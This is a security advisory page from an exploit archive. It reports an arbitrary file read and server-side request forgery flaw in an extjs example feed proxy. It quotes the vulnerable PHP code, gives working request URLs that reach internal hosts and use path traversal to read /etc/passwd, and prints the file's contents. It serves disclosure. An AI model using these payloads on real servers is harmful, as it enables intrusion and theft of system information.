exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

extjs Arbitrary File Read

extjs Arbitrary File Read
Posted May 26, 2015
Authored by Jianfeng Gao

extjs suffers from an arbitrary file read vulnerability.

tags | exploit, arbitrary, info disclosure
SHA-256 | 25c706347c312a1dbec64e7145f83ad3ced43c430111d99c2af5d66c8674f7a1

extjs Arbitrary File Read

Change Mirror Download
Hi all£ยบ

Baidu Security Team found a vulnerability in extjs,with this vulnerability we can read arbitrary file and request internal http services

File: /examples/feed-viewer/feed-proxy.php line:3-line:6

$feed = $_REQUEST['feed'];


if($feed != '' && strpos($feed, 'http') === 0){


header('Content-Type: text/xml');


$xml = file_get_contents($feed);




When we request like this url
http://dev.sencha.com/extjs/5.0.0/examples/feed-viewer/feed-proxy.php?feed=http://10.1.1.1

if the resource exist,we can get internal http services info

¡°strpos($feed, 'http') === 0¡± we can request this url to bypass the restrictions achieve arbitrary file read

http://dev.sencha.com/extjs/5.0.0/examples/feed-viewer/feed-proxy.php?feed=http/../../../../../../../../../../../etc/passwd


view the HTML source code


root:x:0:0:Web-useast4 root:/root:/bin/bash


daemon:x:1:1:daemon:/usr/sbin:/bin/sh


bin:x:2:2:bin:/bin:/bin/sh


sys:x:3:3:sys:/dev:/bin/sh


sync:x:4:65534:sync:/bin:/bin/sync


games:x:5:60:games:/usr/games:/bin/sh


man:x:6:12:man:/var/cache/man:/bin/sh


lp:x:7:7:lp:/var/spool/lpd:/bin/sh


mail:x:8:8:mail:/var/mail:/bin/sh


news:x:9:9:news:/var/spool/news:/bin/sh


uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh


proxy:x:13:13:proxy:/bin:/bin/sh


www-data:x:33:33:Web-useast4 www-data:/var/www:/bin/sh


backup:x:34:34:backup:/var/backups:/bin/sh


list:x:38:38:Mailing List Manager:/var/list:/bin/sh


irc:x:39:39:ircd:/var/run/ircd:/bin/sh


gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh


nobody:x:65534:65534:nobody:/nonexistent:/bin/sh


libuuid:x:100:101::/var/lib/libuuid:/bin/sh


syslog:x:101:103::/home/syslog:/bin/false


messagebus:x:102:105::/var/run/dbus:/bin/false


landscape:x:103:108::/var/lib/landscape:/bin/false


sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin


ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash


ntp:x:105:111::/home/ntp:/bin/false


snmp:x:106:112::/var/lib/snmp:/bin/false


statd:x:107:65534::/var/lib/nfs:/bin/false


postfix:x:108:114::/var/spool/postfix:/bin/false





Submitter: zhanghao@Baidu X-team gaojianfeng@Baidu X-team shitong@Baidu X-team

________________________________
Id:Yaseng
Hi: Hisengberg
Team: Baidu X-team
E-mail:gaojianfeng@baidu.com<mailto:gedongyu@baidu.com>
[tips]
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close